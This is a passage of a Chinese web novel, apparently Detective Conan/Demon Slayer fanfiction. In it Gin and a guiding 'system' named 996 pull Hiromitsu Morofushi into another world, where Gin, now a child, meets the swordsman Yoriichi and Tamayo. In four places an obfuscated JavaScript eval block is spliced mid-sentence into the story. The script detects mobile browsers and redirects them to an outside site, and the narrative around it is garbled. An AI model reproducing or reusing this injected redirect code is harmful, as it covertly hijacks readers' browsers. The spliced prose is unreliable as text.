大概是知道眼前的少年人是什么性格, BOSS很显然对这种说法秉承着信任的态度,他有些失望,但却没怎么表露在外,只是轻轻叹息,道:“那真是可惜。” 然而明明是极其富有个人感情的一句话,却被转化成了平板的机械音,听起来让人感觉有些诡异。或许正是因为这样的理由,[那位先生]才选择用这种方式隐藏自己的身份,这样做当然有一个好处,那就是哪怕组织彻底灭亡——比如说被官方围剿或是别的什么,只要他仍旧没有暴露身份,就仍旧能够金蝉脱壳,继而东山再起。 ……真说不清这老东西到底是生性谨慎还是单纯胆小,无论哪种,都算不上让人喜欢的特质。 “那么接下来你的计划是?”BOSS换了个话题,他心情似乎还算不错,甚至用那种很是慈爱的态度来进行询问,让琴酒着实起了一身鸡皮疙瘩,“听说你准备继续自己的学业,能够兼顾日常的任务吗?” 这种看似在关心后代的傻爸爸语气才更加可怕啊不如说! “我认为自己可以完美平衡学业与组织给予的任务,”他稍稍抬头,让自己的目光暴露在正前方的摄像头之下,“先生,尼格罗尼可不想让我只学个皮毛便抽身离去,有些东西,只有学到手才能成为武装自己的财富。” “而且……容我冒犯,我猜您并不介意多出一个拥有合规合理表面身份的属下,像是皮斯科,我也同样可以做到这些,并且成为您的助力。” 对方可是有名的企业家,靠着光明正大的生意给组织疯狂敛财,迄今为止都没有露出破绽。 [那位先生]看似很欣赏琴酒的大胆,不如说他相信自己的本事,也认为这位最近展露了头角、刚刚被赋予了‘琴酒’作为代号的少年足够忠诚可靠,于是他默认了对方的计划,并且对此秉承了赞同态度。 “那我接下来仍旧会注视着你,不要让我失望,Gin。” “当然。”他的唇角缓缓勾起,带着显而易见的专注感,“我从来都不会让您失望的,先生。” 每一步,他都会让这位顶头上司眼前一亮——各种意义上。 * 离开基地已经是夜间九点钟,虽然东京的夜晚向来热闹非凡,但在位于郊区的基地周围却过于冷清,有些地方甚至没有架设路灯,只能靠车辆的灯光来照明。 这里的地形有些曲折,两边更多的是低矮的楼房或是拥挤的住宅,每向前一段就会碰到幽深狭窄的小巷,很符合刻板印象的最佳犯案地点。哪怕是琴酒,在这种道路下也要小心翼翼驾驶,避免自己因为交通事故这种奇怪的理由被人逮到把柄。 无论如何,形象都不能丢。 二十分钟之后。 琴酒沉默着从后视镜处看着有些忐忑不安的黑发少年,再次发出了灵魂质问。 “怎么在哪里都能看到你,诸伏景光。” 他觉得很奇怪,现在还是清澈男高的诸伏景光本应该与他毫无交集,之前的碰面姑且算是机缘巧合,但现在——在这种鸟不拉屎的郊区,在这种入夜后几乎就无人踏足的地方,居然还能跟对方相遇,很难不让人多想。 抛去是996暗中的搞事的可能性,剩下的可能就是唯一的真相,于是…… “你是在跟踪我吗?小鬼。”琴酒发出了灵魂质问。 这种猜想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345428|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无逻辑,但他实在想不出这种比中了彩票还小的几率是怎么回事。 总不能是巧合吧?他向来不相信巧合。 “……在说笑吗黑泽先生,我完全没必要跟踪你吧。”黑发少年苦笑道,“我只是来这里看望自己生病的同班同学而已,但是今天通往市区的唯一一班巴士因为时刻表的变更取消了运营,所以我只能想办法自己回去了。” “不如说夜间开车在这种小路中间穿行的黑泽先生更为可疑吧。” 牙尖嘴利的小鬼。 琴酒撇了撇嘴。 哪怕曾经与对方合作过,但琴酒眼中的诸伏景光——或者是苏格兰都是沉郁的、冷静的,有些时候态度尖锐得像是淬了火的刀,而不是像现在这样鲜活得像是初春的风。 “啧。”他姑且将自己的回应视为‘解释’,“这里有一家实验室,我与他们的负责人见了面。” “只是沉浸于学术上的交流,不知不觉忘了时间而已,所以不要胡乱猜测,诸伏景光先生。”他颇为恶趣味地对后座的少年开了个很地狱的玩笑,“倒是你,小心不要被我抛尸荒野啊。” “……” 诸伏景光露出半月眼,他对幼稚的大人没辙。 “那就请您高抬贵手了。” 琴酒倒是对与注定与他立场相悖的未来警官先生产生交集没什么负面情绪,比起组织里的白痴们,他更喜欢干活儿细致而且没有废话的苏格兰,只可惜对方在一周目死得太早,免去了他的持续性压榨。 一路无话,在经过拐角处时,安静了许久的996才缓缓开口。 [很抱歉,先生,在您决定接取修补世界本源的任务后,除却贝尔摩德,就只有降谷零与诸伏景光是您遇到的重要人物,所以……] “所以?”琴酒闻言危险地眯起双眼,“我猜你接下来的话一定不怎么中听。” [以下这句话并没有任何情感倾向:我只是进行了一些引导,这会让主要人物增加与您的交集,也会对任务的完成度增长有所帮助。] “哈——?” 琴酒猛地将方向盘打到头,然后踩下了刹车。 他不生气,他一点都不生气,哪怕996自作主张、哪怕自己完全无法察觉到对方的小动作、哪怕……他被人摆了一道。 哪怕真的不是什么巧合而是996在搞事…… 他都完、全不生气呢。 “……怎么了,黑泽先生?”哪怕系着安全带,诸伏景光也被琴酒狂野的开车动作吓到心脏狂跳,他抿了抿有些干涩的唇,一时间真的怀疑对方是不是要在这儿直接把他弃尸荒野,“发生了什么事吗?” “没什么。” 琴酒扭头,他从衣兜里掏出烟盒,直接用牙齿叼出一根后,随即露出前世的Top Killer常挂在脸上的狞笑,“虽然很唐突,但是小鬼——” “姑且问你一句,对拯救世界有兴趣吗?” “……哈?!”诸伏景光豆豆眼。 996闻言再次发出持续性尖锐爆鸣。 活爹!您不要把别人扯进来啊——! 12. 十 经历过数次轮回,琴酒还是第一次看到宇宙猫猫头状态的诸伏景光(限定阳光男高.ver),这让他糟糕的心情变得好了一点。 没错,他就是这种无聊透顶的男人。 说真的,他不太在乎自己为什么会一遍又一遍地经历重开,也不想对所谓的世界本质追根溯源。哪怕真如996所说,他是个热血漫画的反派,最后要被主角团制裁,用鲜血和死亡作为盛大的落幕仪式也是如此。 琴酒不太惧怕死亡,从他第一天加入组织开始,他就知道自己有朝一日会死于非命:也许死在哪次普普通通的任务中,也许会死于官方的围剿,也许死于职场倾轧。但无论是那种死法,都没有‘命中注定’的死亡更让他感到恶心——如果不能掌控自己的命运,他宁可被炸上天。 “考虑一下?”琴酒不得不考虑现在仍旧在宕机的诸伏景光把他当成个妄想症中二病患者的可能性,但既然已经到了这种地步,当然要拉所有人下水才行啊—— 正派反派主角炮灰路人二五仔和金手指们,谁都别想独善其身。 琴酒阴恻恻地想,像是一只到处阴暗爬行的黑色不明物。 至少诸伏景光真的以为这家伙脑子有问题并且已经在思考如何逃离这辆车了。 糟糕,谁能知道东大的高材生也会有精神方面的疾病?高明哥Zero如果我真的曝尸荒野请一定将凶手绳之以法,对方叫黑泽阵,强调一次,黑泽阵,这家伙就是凶手。 可为什么这位黑泽先生口中说着拯救世界脸上的表情却仿佛要炸掉整个世界一样?没问题吗真的没问题吗? “……哈?” 诸伏景光过了近两分钟才找回自己的语言能力,他甚至一度以为自己的失语症又要犯了。片刻之后,他艰难地开口,道:“虽然说大部分拯救世界的救世主都是高中生,但我猜其中一定没有叫‘诸伏景光’的那个。” “没关系。”琴酒并没有对仿佛异世界轻小说中毒的诸伏景光做出任何评价,反正大家都是漫画中的角色了,管他正派反派路人白月光,大家都是纸片人,有点儿二次元属性也没什么不对,“我可以让你拥有轻小说男主角的待遇。” ……不知道为什么,琴酒感觉自己像是诱拐未成年高中生的诈骗犯。 突然变得没有格调了呢,琴酒先生。 “我可以说‘不’吗?”诸伏景光紧张地咽了一口唾沫,“比起拯救世界,我更想先回到宿舍把阅读报告写完。” 虽然明天是周末,他不需要上课,但安抚住这位看起来脑子有点问题的黑泽先生才是重点——你可以的,诸伏景光。 他给自己打气。 “拒绝无效。” 琴酒无视了脑子里还在持续循环警报声的996,再次启动车辆,在郊区的羊肠小路上开出了F1赛道的气概。诸伏景光还没来得及再说些什么,就只能紧紧抓住扶手,闭着嘴被迫体验了绝佳推背感。 速度快到他甚至没有经历去掏出手机求助,难道这次真的难逃此劫了吗?! 诸伏景光,六个小时之前刚刚跟自己的幼驯染进行了对未来的畅想和计划,分别之后去吃了酱油拉面,然后来到这里看望同学。他没想到只是拦了一辆车而已,却不知道为什么沦落到如此境地,或许现在唯一的办法就是相信对方真的只想让他去拯救世界,而不是靠出车祸的方式来进行异世界穿越。 琴酒:包真的。 * 然后他们就真的穿越了。 琴酒觉得自己恶贯满盈且罪无可恕——他当然不否认这点。无论是否被所谓的‘作者’设定好自己的人生,无论是不是被所谓的剧情裹挟,但琴酒都不得不承认,他习惯于并且只能接受如今的生活。每天与鲜血和硝烟为伴是他的底色,善恶观?那只是用来骗普通人的玩意儿。 自从爹妈骨灰都被扬掉之后,琴酒就只想活下去,为此,他可以付出任何代价。 包括捏着鼻子去拯救世界,强调,他真的一点儿不想当救世主。 但这并不意味着他可以接受人生重开。 你说他已经重开了十次?拜托,被炸成碎末之后睁开眼睛发现自己回到了十九岁和回到七岁是两种完全不同的概念。 幼童的身体孱弱且毫无用处,他只能用灵活的身体来躲避未知的攻击,或者用被削尖的木棍戳瞎敌人的眼睛,再或者给他们的脖颈开个洞,如果是其他部位,以他现在的状态来看,似乎很难奏效。 琴酒骂骂咧咧,他甚至想要再次跟996同归于尽。 他被这破玩意儿扔到了一片荒林中,周围都是崎岖嶙峋的树木,树冠高耸入云,枝叶茂密,几乎遮住了天上的日光。一脚踩下去可以察觉到绵软的触感,那是树叶枝桠坠落地面后被分解的造物,琴酒在这之前戳死了一条蛇,他很是艰难地生了火,将蛇肉烤熟,总算吃了一顿饱饭。 空气太过潮湿,就连砍下的树枝都含水量超标,想要寻找到干柴很难,他收集了一些枯木,稍稍节省的话,大概还能用上一段时间。 该说幸亏这里有一条溪流吗?这避免了他自己收集饮用水的窘境。琴酒不是不想顺着溪流走出这座山……从四周的地貌观察可见,这里的确是一座山,但他现在的身体状态明显无法支撑自己一口气离开,故而也只能拿出当年被投放到孤岛上荒野求生的劲头,来让自己完成一个短期内的目标:活下去。 嗯,当然是活下去。 十九岁的自己并不惧怕这种考验,他甚至可以极速通关。但一个七岁的、身体强度无法匹配战斗意识的孩童明显不太适合在这种环境下生存,996的说法是外来者前往其他位面,都要用难以被排斥的姿态来慢慢适应,直至世界将其接纳,才可以逐渐增加强度。 “所以,你隐瞒了我多少?” 琴酒之前又用石子打下了长在树上的果子,艳红色,看起来不太好吃。以琴酒丰厚的知识储备量也看不出那是什么水果,所以他捉了一只兔子,喂了对方几颗果子之后观察了许久,看到兔子仍旧活蹦乱跳,才试探性地将其吞入腹中。 「必要的注意事项都已经尽数向您告知。」996似乎并不认为调整个人形态这种事需要特地讲明,「那么您的需求是?我需要时刻在您身边进行提醒吗?事先声明,因为第一次进行位面穿越,我需要靠短暂休眠来积攒能量,直至您完成第一阶段的收集任务。」 琴酒的脑海里‘啵’地弹出一个进度条,目前进度显示0. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345429|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴酒:……很想骂点什么但是又觉得完全没必要。 “诸伏景光呢?”他挽起袖子从溪水里插出一条鱼,“我以为我们会处于同一落脚点。” 「降落地点是随机的。」996又弹出了一张简易地图,但它看起来不太靠谱,因为琴酒只能看到自己探索过的一圈地点,余下的地方都被浓雾所笼罩。诸伏景光所处的地点在地图上有标注,是代表队友的蓝色圆点,位置是琴酒的东北方,但距离和所在地都是未知。 “废物。”琴酒给了996最中肯的评价,“滚去睡觉吧。” 说真的,他并不认为自己能拿捏住996。关于对方的一切信息皆由996自行透露,除此之外,琴酒对其一无所知。他当然相信对方的某些说法,但那就是全部吗……?也不尽然,他只期待在日后的深入接触中继续探查,或许能够发现点儿什么有用的信息。 至于现在?996的确能够带他离开自己的世界并且带他前往另一个位面,并且能够让一个成年人变成小孩子,面部轮廓似乎也发生了些许改变,看起来更像是纯种的东亚人。 果然哪怕变更了人种,他看起来仍旧跟自己的死鬼老妈有几分相似之处。 总而言之,保持表面上的和平才是要点,琴酒并不想现在就跟对方翻脸。但是强硬的态度也不能少,他需要表明自己的态度,这样才能获取一部分主动权。 「很抱歉,先生。」 996的声音渐息。 「第一阶段收集进度达到70%时,我将再次出现,那么祝您好运。」 琴酒啧了一声,然后拽住了自己刚刚在角落拽出来的天然石板——野外石板烤鱼,似乎是不错的选择。 他不太擅长用纯天然的方式计算时间,哪怕当年在荒岛上也是如此。这里因为枝叶太过茂密的缘故,几乎看不到太阳,更别说靠太阳的位置来判定现在是几点钟了,琴酒只能靠着体感温度来大致估算一二——刚刚最热的时间段已经过去,现在身体开始变得寒冷了起来,幸亏来到这个世界时他仍旧穿着自己的黑风衣,只不过因为身形变小而显得风衣大到像是一个帐篷。于是琴酒将它裁成了几块,一块用来制成简单的衣物遮蔽身体,另一块用来铺在地上做睡袋,如果气温太低的话,就再裹上一层,至少不会因为这种可笑的原因被冻到感冒。 黑色的礼帽都被他当成了储藏各种野果的袋子,别说,还真的很好用。 所以说为什么风衣在,里面的武器却不在?谁规定拯救世界必定要使用白板号?这是歧视! 琴酒决定继续保持体力,等到他再收集一些食材之后就继续顺着溪流向前走,不管自己来到了什么地方,离开这里才是最重要的事。 既然要补足‘本源’,首先还是要弄清楚这是个由什么因素构成的世界吧?如果真是那种动不动就飞天遁地在宇宙开高达的世界观,那他还不如趁早死一死。 哪怕自己未来能够开着武直扫射东京塔(琴酒一度认为当初自己脑子进水了才会做出这种事情,但这不重要,他将在一切结束后宰了那位‘作者’),琴酒仍旧觉得自己是个普通人类。 他信奉唯物主义世界观。 虽然现在的他已经开始走奇幻穿越路线。 13. 十一 七岁孩童的荒野求生真的能算是优秀剧本吗?琴酒不知道。 他只知道,小孩子的身体真的很能影响自己发挥。 第一天夜间,琴酒选择了一处干燥的山洞作为栖息点,大概是两侧都拥有通风口的缘故,地面上虽然零零散散分布着已经干燥的动物粪便,但内里并没有异味,更别说是大型猛兽栖息的痕迹了。 常年穿梭在腥风血雨中的亡命之徒们多数都对潜在的危险拥有某种无法用语言来说明的探知感,琴酒亦然。他没有察觉到危险,如今的状态更是需要补充体力,养精蓄锐自然是重中之重。 996真是个废物,琴酒这样感慨,然后在各式各样的嘈杂声中进入了梦乡——所以他讨厌山里的风吹过树冠的声音,还有爬行动物路过的声音和虫鸣。 大概是自身固有的警惕性作祟,琴酒这一夜睡得不算安稳,但却足以恢复一些体力。他简简单单给自己进行了清洗,啃了几口昨天烤过之后储存起来的蛇肉权作饱腹。因为自身因素桎梏,他现在甚至不方便随身携带各式各样的物资,只能挑挑拣拣选择一些比较方便携带的东西。 当然,之前用来烤鱼的石板已经被丢掉了。 仍旧是顺着溪流的走向前行,但大概是自己的运气指数不够,在攀爬了大概半个小时之后,琴酒发现面前的溪流已经被山石截断,水从石头下方流出,自然不会受到影响,可如今巨大的石块堆砌的屏障把他前进的道路遮挡得严严实实,如果是成年人的话,只需要花点时间就能越过障碍继续前行,可现在…… 琴酒:…… 冷静才是在陌生环境下生存的第一要务,只是需要绕路而已,并非要按照原路返回。一切还未至穷途末路的时候,不应该急躁、更不应该失去判断力和理智……不能生气,真的不能生气。 个鬼啊!996!废物!他现在才七岁!是完全可以耍赖撒泼的年纪! 他深吸了一口气,蹲下身掬起一捧溪水,试图让冰冷的温度浇熄突然用上来的烦躁之意,幸亏他不是真正的小孩子,否则也没办法在这种情况下保持理智。 琴酒当然能够看到996留下来的地图,还是老样子,能够查阅到大致路线的只有他已经探索过的区域,诸伏景光仍旧在原来的方位,大概是一直在之前的位置周边行动。很好,琴酒想,不知道对方是否也经历了和他一样的事情,但诸伏景光的做法相较而言更为理智。无论如何,在陌生的环境中首先应该保证自身的存活,然后才能去思考如何探索周围,而不该本末倒置。 “苏格兰威士忌,倒是个不错的代号。”琴酒起身低语,“那么就改变策略,顺着诸伏景光所在地的方向直行吧,遇到阻碍就绕过去。” 诸伏景光:谁在为我这个一头雾水的高中生发声啊。 很显然,他跟琴酒遇到了同样的事情——成为幼童,身体状态变成了多年前的模样,但比对方幸运的是,他的所在地并非荒无人烟,住在村子尽头的老婆婆在外出砍柴的时候把他带了回去,并且给他准备了一碗热汤。 虽然所谓的热汤不过是土腥味的水加上几根品种不明的野菜而已。 诸伏景光是个适应力很强的人,虽然这一两天经历了太多事情导致大脑直接宕机,但仅仅是……嗯,穿越到异世界,仅仅是这样的理由,还不至于让他彻底崩溃。 ……才怪!后天还要上学的!Zero高明哥和寄住的亲戚不会真的以为他遭遇不测了吧! 虽然内心翻滚着惊涛骇浪,但诸伏景光表面上仍旧冷静地接过老婆婆手中的破碗,木然地将一整碗不知道是什么味道的汤喝进了肚子里。尝不出什么好喝的味道,只有淡淡的土腥味和野菜带来的涩味儿,但他仍旧放下碗,礼貌地对老婆婆道了谢。 “瞧你看起来多么干净,是来自京都的贵族吗?”老婆婆颤颤巍巍地端来了草饼,对捡回来的小朋友态度友好,甚至还带了几分慈爱,“好孩子,太阳下山之后就不要随便乱走了,你的家人呢?” “不在了。”诸伏景光眼帘低垂。 虽然这只是搪塞之语,但他仍旧有些低落。莫名其妙遇到了意外,莫名其妙被奇怪的人绑架到了异世界(?),又莫名其妙地卷入了似乎是披着拯救世界外皮的阴谋?一连串的事件让他应接不暇,还没有崩溃的原因大概是自己仍旧活着——活着就有无限的可能,在此之前,他可能不能轻易放弃寻找出路。 他又不是真的相信异世界穿越会有什么好事发生的中二少年。 996:是真的在拯救世界啊! ……无论如何都好奇怪。 “真是可怜的孩子。”老婆婆伸出手,用黝黑干燥如枯枝的手指揉了揉景光的发顶,“那么今夜先在这里睡下吧,太阳落山之后会有吃人的鬼出现,如果遇到它们就很难跑掉了。” “食人鬼?”诸伏景光猛地抬头,“那是什么?您能详细向我说明一下吗?” “恶鬼啊……”像是想起了什么让人印象深刻的往事,老妇人唇角蠕动,浑浊的眼中闪过一丝泪光。 “这一切都要追溯到十年前……那是我的儿子还在,他比你要大一些,十四岁,但已经是个高高壮壮的小伙儿了。” 老妇人将往事娓娓道来。 诸伏景光正在听故事会,而琴酒则收拾好自己的心情,转换方向继续向景光所在的位置继续前行。途中自然也有各式各样的阻碍,不过还没有达到需要绕路的地步。粗粗估算了一下时间,他大概走了四个小时,期间补充了一次食物和水,现在在地图上与那位‘队友’的距离近了一些,但不多,目测他们两人之间相隔的距离可能比之前想象得要远。 但那不是重点,琴酒想。 好消息是他终于走出了这座遍布着密林和蛇类的山脉,坏消息是,在他靠着一搜破破烂烂的小船艰难度过一条河之后,又来到了一片竹林中。 总而言之,没有人烟、没有建筑,更没有现代常见的通讯塔和电线。 ……这绝对不是他熟悉的时代,被困在山里的时候就已经有所察觉了,琴酒想。 太阳快要落山了,琴酒决定在天黑之前进入竹林,运气好的话会穿过这片林子寻找到有人类存在的地方,运气不好的话……大概也只能继续睡在野外了,都说了这似乎是拯救世界的。 所以说把他的武器都ban掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345430|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就算了,为什么连组织出品的防蚊虫喷雾和火柴也要拿走?这一点儿都不合理。 防蚊喷雾有什么杀伤性吗?把瓶子丢出去甚至没办法敲晕一个小孩子。 因为嫌弃太过碍事的缘故,琴酒甚至用石头割掉了自己的头发,让其保持在及肩的程度。那头如同月辉般的银发如今也沾染了不少灰土,让头发的主人看起来也有些狼狈,殊不知,割了头发的琴酒甚至认为自己的脑袋轻到能够直接起飞,甚至有一种常年的桎梏都被松开了的感觉。 还在休眠中的996:不,那是人设!人设啊!人设哪里去了?!!! 并不知道自己还有个什么鬼人设的琴酒当然轻装上阵继续赶路,但很快他就无暇顾及其他了。 因为风带来了他想要的讯息——人,人的呼吸声、脚步声和对话声。 三个人,两个体重基数高一些,另一位低很多。是两男一女?还是两个高大的男性和一名普通女性?又或者是高大的女性和瘦小男性的组合? 琴酒反射性地放慢了脚步,他肌肉紧绷,手中握着的是在山林里用木头削成的匕首,不算什么锋利的兵器,但姑且可以防身。 越来越近了。 琴酒找到了一处绝佳的、可以完美隐藏身形的地点,他小心翼翼地探头出去,竖起耳朵听着不远处传来的对话。 “你把生命当成什么了?” 霎时间,刀光闪现,琴酒甚至没有回过神来,便被不知道哪里传来的锋锐气息割断了几缕发丝。 正面对上,会死。 他在危机到来那一瞬飞快地躲到了掩体后面,心脏剧烈地跳动:咚咚咚,绵延不绝,哪怕是当年在岛屿上被队友背叛后一个人反杀十二个的时候,他都没有这样惊慌过。 ……绝对的力量差距,无法匹敌。 而琴酒判断得没有错,竹林中的三人的确是两男一女,不过现在也只有一女一男了。身穿和服的女性似乎刚刚经历了从狂喜到绝望的巨大落差,此刻正跪在地上,泪水从眼眶中滑落,她哭喊着,似乎要将一切愤懑和怨怼都诉诸于口:“为什么……只差一点、就差一点了!” “为什么不要死得彻底一点啊!鬼舞辻无惨!” 而那名人类剑士却没有再与女子搭话,他只是缓缓向前行走,直至站在了躲藏着的孩童身后。 “你看到了什么。”剑士的语气平静无波,却充满了压迫感。 琴酒缓缓转身,他深呼吸,暂时压制住了刚刚突如其来的心悸感,随即与那名男性剑士四目相对。 很出人意料的是,对方拥有一头红黑相间的长发,脸上长着如同火焰般耀眼的纹路,双耳还戴有耳饰,那张俊秀的脸倒有些不像是人们第一印象中的武者,更别说还用出了刚刚那种堪称是神迹的剑术。 “我……” 不知道为什么,琴酒决定实话实说,“我看到了一块肉。” “它从我的面前一跳一跳地跑了过去,但因为速度太快,我没能拦住它。” 所以为什么会有一块肉从他的眼前溜走甚至还跑得那么快?比马自达还快吧? 这究竟是个什么迷幻的世界? 14. 十二 鬼,和猎鬼的剑士,还有弹跳的肉块——? 琴酒拒绝再次回想起这种糟糕的场面,他只是与那名剑士对视着,眼神不闪不避,直至对方率先移开了视线。 跪地哭泣着的女人……不,对方应当是鬼,她的外表跟人类没什么两样,甚至于比普通的人类还要漂亮些。琴酒见过很多人绝望时的丑态,却没有哪怕一次像是现在这般,哪怕处于旁观的位置,都如同被潮水般的悲伤和愤懑淹没一样让人难以呼吸。 这应当是何等的痛恨与愤懑? “她是鬼吗?”琴酒仍旧站在原地,他全身的肌肉紧绷,木质的匕首仍旧被拿在手中——虽然那玩意儿在这种场合下似乎没什么用。 “……我是。”出人意料的是,充当解惑者的并非一旁的红衣剑士,而是刚刚还形容狼狈的女性,“我叫珠世,那么关于鬼和鬼王之间的故事,我将向二位一一道来。” “在此之前,请原谅我刚刚的失态。”大概是觉得有小孩子在这附近,珠世很是迅速地整理好了情绪,她轻轻抬袖拭去脸上的泪水,随即深深地鞠了一躬,“鬼舞辻无惨因这位先生的斩击,陷入了史无前例的虚弱状态,这使我能够暂时摆脱他的控制,可先生,他应当不会在您还活着的时候出现了……他擅长逃跑和藏匿。” “鬼舞辻无惨,那是个胆小且狡猾的男人。” 而那位红衣剑士闻言也只是紧紧握住手中的斩鬼刀,他的表情仍旧淡淡,可言语中所蕴含的坚定可丝毫未减:“我的诞生即是为了斩杀鬼王,珠世,我们的目的是一样的。” “那么你呢?”名为继国缘一的男人又将视线转向一旁的孩童,“你从哪里来,又要去哪里?” 琴酒并不喜欢这种视角,他很久没有仰着头看人了。或许是脑中那条名为警示的神经一刻不停地在为他发送讯号,他不得不绷紧精神、打起十二分的注意力来应对这名以人类之躯斩击恶鬼的剑士。这种预警无数次救了他的命,这次或许也是同样。 在食人恶鬼的世界生存……?他手中没有枪,更没有其他武器,仅仅靠自己的拳脚,哪怕恢复到巅峰状态也不能斩杀刚刚那位‘鬼王’吧。 或许可以用手雷、炸弹或者RPG试一试?总感觉自己刚刚见识到的那种剑法已经超越了常规的认知了,哪怕是狙击枪的子弹,这家伙也会用手中的刀来把它劈开吧。 “我叫阵。”他没有说出自己的姓氏,虽然黑泽阵只是为了在日本生活才起的名字,但谁又能知道这个明显不够科学的‘古代’能不能借着姓名来达成一些目的?他又不是不了解日本本土的一些奇幻作品,比如说名字是咒什么的。 琴酒试图将自己的表情调整到可怜的层面上,不过很显然,失败了。不过矮小的、脏兮兮的孩童原本就很让人心生怜爱,更别说他现在面对的两位都足够正直或者……‘正面’。 很好,他就喜欢跟好人打交道。 “我从那边来。”他用手指了指自己来时的方向,“我被(该死的996)丢到山林身处,顺着溪流(实际上是看着地图里诸伏景光的方位)走了出来,然后乘坐无人的小船来到了这片竹林。” 越是平静简短的描述越能让人产生联想,珠世在被鬼王转化之前是一位可敬的医生,她看了看穿着脏兮兮且不合身的衣物以及沾染着灰土却仍旧不掩亮色的短发后,很是思维发散地脑补了什么,并且面露怜悯之色。而继国缘一不同,他听后只是轻轻地‘嗯’了一声,随即开口道:“入夜后不要露面了,会有恶鬼出没。” “……但我无处可去。”他后退一步,看了看珠世,又低下头,“我能跟你学那种剑法吗?可以斩杀恶鬼的那种。” 想学,想会,想用这玩意儿砍子弹,琴酒想。 第一印象虽然重要,但琴酒并不认为这位继国缘一先生是一眼就能看透的类型,直面对方的时候,他所能感受到的并非是刚刚那种剑法展现出来的强大和压迫感,反倒更像是……太阳,炽热且包容。 可那双眼明明死寂如深潭……真是个看起来过于矛盾的男人。 “我只是个无能的浪人而已。”继国缘一拒绝的方式倒是出乎琴酒意料,“你的肢体力量很强,成长的潜力也非常大,可以去加入鬼杀队。” “他们都是可以斩鬼的、令人尊敬的剑士。” 但他们的刀也能砍鬼王砍子弹吗?那些人的剑术也能像这家伙强到如此地步吗?如果真的是……那他就要想办法将收集副本改成求生副本了,琴酒对此表示了自己的怀疑。 “可他们不是你。” 他说这句话的时候表情很认真,语气也非常坚定,墨绿的眼与暗红的瞳对视,“让这位女士摆脱了鬼王控制的,也是你。” “我……” 或许这位剑士的身上发生了一些事,琴酒暗自思忖。幼小的身躯是桎梏,同时也是机遇,他可不认为如果是成年的自己在这里,对面那两位会生出什么诸如怜悯和可惜的情绪。 还真有自知之明啊琴酒先生。 “我不相信任何人,除了你们。”他打算了剑士的未竟之语,“哪怕只是让我在一旁注视着你斩鬼的身姿也可以。” 言下之意是我可以围观的时候偷学一两招。 继国缘一:…… 不知道为什么,他那如通过死水般的眼中产生了些许波澜,他沉默片刻,随即放松了身体,轻声答道:“……好。” 珠世与继国缘一达成了合作,如果可以的话,他们会在缘一去世之前找到鬼王的踪迹并且将其灭杀,如果不行,那也将在有限的时间内寻找到可以克制恶鬼的方法。珠世临走之前还揉了揉少年略显杂乱的短发,她唇角微勾,已经将彻骨的恨意隐藏在心底,声音也变得清澈温和:“我从你的眼神中看到了决心,日后,你也会成为合格的猎鬼人吗?” “谁知道呢?”琴酒扯了扯嘴角,极力控制自己不要躲开对方的触碰。 ……谁知道这家伙又会有什么不为人知的技能或者杀招? 珠世与两人道别后,竹林中也只剩下这一大一小的身影。天色已经彻底暗了下来,四周皆是刚刚战斗过的痕迹——倒塌的竹林、被深深的刻痕分割的地面,还有碎掉的乱石,以继国缘一为中心,放眼望去甚至看不到有几分完整的地貌。 这就是对方的实力吗?琴酒认为普通的热武器都不会对继国缘一产生伤害。 “……她是合作者。”良久,继国缘一转身,“所以不要对她产生戒备,走了。” “嗯。” 琴酒低声应答。 或许应该给这个男人再加上一个[敏锐]的标签。 他并不知道的是,促使珠世选择离去的理由并非只是信任缘一一条,还有他眼中对‘无惨’这一存在的厌恶。而珠世同样不懂,那并非是对无惨的负面情绪,而是对[那位先生]的。 又怂又能躲的千年老王八就应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345431|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该乖乖伸出头被人砍断,如果不无法实现的话,就敲碎他的壳好了。 “在想什么?”不得不说,继国缘一先生是很能体谅人的类型,他体贴地放慢了脚步,声音从前方传来,让暂时放松下来的琴酒——不,现在他是黑泽阵,稍稍回过神来。 “你住在哪里?”他询问了一个很现实的问题,“我不想再睡在野外了,蚊虫太多,还有可能遇到鬼。” 